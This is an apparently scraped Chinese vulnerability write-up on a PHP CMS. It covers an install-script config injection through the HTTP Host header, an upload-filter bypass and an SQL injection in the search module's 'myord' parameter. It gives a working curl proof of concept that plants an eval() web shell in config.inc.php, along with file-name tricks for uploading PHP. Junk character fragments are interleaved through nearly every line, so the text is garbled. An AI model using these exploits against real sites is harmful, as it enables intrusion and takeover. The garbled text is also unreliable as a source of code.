注入:
% K! n5 k% \" O. `% A8 U, x: ^ I, i$ K8 H& t
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码" T/ G0 c" l) T
2 i, d* A/ u6 _: A
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件. ~0 L9 A Z( w) m2 \
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
3 |" D) [/ W) }+ L, f! }1 h 0 L' h' a1 P+ C2 T" p1 p7 f! l" Q$ r8 N
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; B! m3 ?" }0 k; N& Q3 N8 P $ @, | ~3 [" T
分析:, }$ L2 N+ G( {+ X
( c) d* X2 S) m$ z" M4 t1 Q
: d! T* L) I4 _) s c$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 ?) N# ~/ ~6 l: _! y/ E
4 j/ J" e& U& f+ V" ?6 [ $filestr = fread(fopen($SysConfigFile, 'r'),30000);
0 E6 q0 K; \9 }2 H $filestr=str_replace(" ","",$filestr);* ]2 \0 v" K2 j7 C6 [
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);: ]) c3 J2 q$ ~- S
$filestr=str_replace("DefaultDbName",$dbname,$filestr);* e8 N7 s' t1 W. Q
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 K/ u' p5 p6 n# q. n G4 @ $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);; ~$ F7 v& U+ U- n5 @
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);2 G# I4 p5 _7 y0 Z0 ~
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! H1 K6 i0 E/ d% T) H/ |- h" e2 @ $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: M. t. Y: [- V& l1 W2 O E T" | 8 ?4 ^' @- Z( ?3 l
fwrite(fopen($ConFile,"w"),$filestr,30000);8 S1 ~7 B- G* L N( ^+ b0 |
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; _8 B" x; o4 `0 n6 K+ [
4 s9 w! c6 Q% A
poc:
0 J( C/ o5 s2 b- h3 {$ b & T. I- O. x; @/ C, s
?
: c, m& g2 [& F0 F, L1" n8 D D+ m) X% r8 j
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": J: P9 v$ I: A: ?( ]7 s2 K0 t7 B4 e/ G
shell地址: /config.inc.php) t5 J4 i2 \- J7 ]! @4 `$ s
跟之前的 phpcms一样 需要远程数据库
$ o5 a+ P2 N7 U; J& ^- X 4 I- B& o$ J& E
——————————————————–
3 M% g- p4 ]9 v9 |上传漏洞(需要进后台):8 s+ R" f% ~ @: U+ A6 [+ S& n
漏洞文件: /kedit/upload_cgi/upload.php; k- n& {$ z$ i; I$ s
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用3 T$ |7 u0 k' B* x
: q' ~: m' S- `5 ]# z' O
. G; x, L3 w/ B# {' u W8 `<?php
8 s1 P1 ]& A2 \3 d: A3 A/ T6 o define("ROOTPATH", "../../");# K3 R! Y* ?- Q% @' U$ U' I
include(ROOTPATH."includes/admin.inc.php");
}/ e+ @1 x1 ], A2 L( r NeedAuth(0);. ?4 `1 E) f; o1 K) v0 P
8 d: B. z" S+ r6 M0 r" ?9 t7 I* O2 m
$dt=date("Ymd",time());" ?. x/ m2 F) s" Z) J" a& i1 Q
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){( k$ G) |3 |$ q3 c$ Y2 a' V
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);! u8 ]9 A$ K" E/ q2 |' Z8 ?1 o
}
/ Q# i; D$ R) g, B
% h. F9 k+ J V$ M3 R" U( m //文件保存目录路径
! J( m& y/ v- X" x $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';& l7 r* S% k7 M" h- J
echo $save_path;
, d0 X$ g; _/ W# u //文件保存目录URL
$ g/ O4 P" B& L- C' L1 u! L# D $save_url = '../../'.$_POST['attachPath'].$dt.'/';
8 Z+ _' v9 Y- `9 p& d9 T8 y# ^ G- ~2 Q $ i+ ~! F. X9 E) _8 \" ?6 A0 `
//定义允许上传的文件扩展名! Q& p6 w' }7 W: Y2 Q/ d8 `( A/ ]& d
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
0 h& Q6 |2 L9 C( g3 V+ z( o H5 L4 j3 x: Y6 x
//最大文件大小* @3 W( h$ ?' a* L: A G
$max_size = 1000000;
0 V3 A6 q L; T) @" e" `/ e. A/ i Q' y% A2 q- H# C7 K
//更改目录权限# F$ C( O# A( _( t
@mkdir($save_path, 0777);! Y% p6 Q8 h* s/ |2 C% H$ Q; U
4 g3 o; R i5 s: v
//文件的全部路径3 f% U. ?# C b5 W# U3 A
$file_path = $save_path.$_POST['fileName']; //保存文件名0 G' o! r: X( f; l. S+ A6 b) f
6 ?% u- a- A3 |4 o" p- _! ]! b1 H i //文件URL
% p% B' f4 `* Y2 q, F1 a $file_url = $save_url.$_POST['fileName'];
; p% L- w; {( ^5 x//有上传文件时
9 M4 t3 H7 `$ V) y# S- G if (empty($_FILES) === false) {
" U- k1 P0 r( l" ?! Z- z, e! K ( C( Y9 v2 A( Y& o5 Y! s/ }( Q
//原文件名
) V2 y( V4 y q E) }0 [ $file_name = $_FILES['fileData']['name'];
) a4 @, F R! J5 r) H. \ //服务器上临时文件名4 I9 j; C- N# G! ?) ^1 x
$tmp_name = $_FILES['fileData']['tmp_name'];) Q4 m# R. X4 B0 M/ ~$ j
//文件大小
* C4 o( C0 ~. W& L $file_size = $_FILES['fileData']['size'];
. n+ u, G v5 k3 _' s# L //检查目录, R# a& B c ^7 U7 d ]
if (@is_dir($save_path) === false) {& h" Z/ a: s. {# ]
alert("上传目录不存在。");
+ A5 R, D, A8 J6 l }
K0 U) ]* L, j //检查目录写权限
6 e( M0 b$ m" W6 S if (@is_writable($save_path) === false) {9 c$ s4 M) K. T% C: J
alert("上传目录没有写权限。");
+ K. q$ T7 y3 N$ z7 O# z( M# W }2 [' Y. F. t9 `# J
//检查是否已上传, H) E% H+ Y! W
if (@is_uploaded_file($tmp_name) === false) {
- ^& L: i* Y2 W: x1 m7 i8 @$ U- Q- |- | alert("临时文件可能不是上传文件。");1 T* | g4 h- ]+ s* H
}
" S! H8 l, c2 N: M' |* I3 r //检查文件大小
% i8 R! r5 T" j# z5 ? if ($file_size > $max_size) {5 Q- E5 ~# \" C' p5 i" J& ~
alert("上传文件大小超过限制。");3 e2 M0 D1 y# d% |
}
# o C. g& b! |! M" z5 e( N //获得文件扩展名! ^& L7 l$ {' Y2 |! r: {
$temp_arr = explode(".", $_POST['fileName']);1 I4 j0 V7 H+ K; j y. i0 H, t& ?
$file_ext = array_pop($temp_arr);
+ b/ ~0 {- T+ M% \0 S. S+ v $file_ext = trim($file_ext);) ~- _/ X3 a* D6 n! b
$file_ext = strtolower($file_ext);
$ _" O" R/ r: Z
" Z7 Q0 K9 j2 l7 X8 ~7 V- H( O //检查扩展名 U7 @/ {# }2 W7 [1 N7 z$ X
if (in_array($file_ext, $ext_arr) === false) {
) F. C& Y/ @, f4 S' j! ?4 ?" Y alert("上传文件扩展名是不允许的扩展名。");. K6 m" K3 V1 a4 g% V9 c' [. J
}+ {+ X; T+ }, P, @6 H" `
8 x1 c8 }3 o2 H6 y' F' m //移动文件 7 X8 j* o7 _1 M. g2 i& o3 U- L% w
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^* |" j4 s) b% I2 [; ^" ?5 J5 z
if (move_uploaded_file($tmp_name, $file_path) === false) {
, K- W0 O% y! W( \+ g4 m5 ? alert("上传文件失败。");' L* D! p3 D1 s3 l, _
}
4 a* Y" k! [6 z# z
* y+ x8 D- g2 S6 O& |7 w7 N @chmod($file_path,0666);
9 d( h9 y, Z; v4 i4 q : z. d: l$ H; r/ o8 C0 h
?>
, o8 w- a6 K6 \. F1 g: w抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2276 y6 {) X' k! ~, N; [! y
+ h2 t) [9 K, [. m& z! z
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 x. L& M; Y" V3 g0 [0 k7 e! N
% r5 _1 a. n, @——————————————————
9 k6 U/ e) N/ u0 A$ @; _$ _* _注入漏洞:+ Y3 f: w/ d5 u9 d1 Z) ?- V h2 ]+ H
漏洞文件:search/module/search.php' ~+ |. Y/ n# n& z+ o
/search/index.php?key=1&myord=1 [sqlinjection]( L2 Q' F! b' ~3 l: O7 p
`5 Z- s/ b) @$ X1 N j
" d1 h, t, z: F/ m8 C- L9 c5 a<?php, J+ A' q7 g8 V
// ... 省略 n 行...$ g& @( ^+ l7 v2 `$ q
//第18行:5 i5 I. F/ n4 U0 w3 x' a" r5 L
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响9 _% q/ T6 |5 \" {& {: s7 q3 ^
$page=htmlspecialchars($_GET["page"]);" m9 r6 ^: {1 t7 ?
$myord=htmlspecialchars($_GET["myord"]);
) _% q. f$ f+ l6 B h* p7 i9 F0 p: f% b, Z5 H3 N
// ... 省略 n 行...
# ^$ H6 Q$ j, P4 l $key,$myord 两个参数带入查询
* n6 Y u; _" P. k& U; V //第47行 $key:9 J$ N, `* w0 A8 G' J- Y" Q
8 ?" f- j% M! E! z/ Z
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..% _/ e' Y# t+ K# K' p) ?# J& i
" C5 w* [# r/ O+ ?8 h+ S* {
//第197行 $myord0 _" c: Y- c4 t* t# a
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入. w9 ]8 u$ p+ a( H$ Y7 ?/ }
" X' |$ J2 [1 n& s* c ?>$ v! I& \( H. Z$ _9 }0 [
|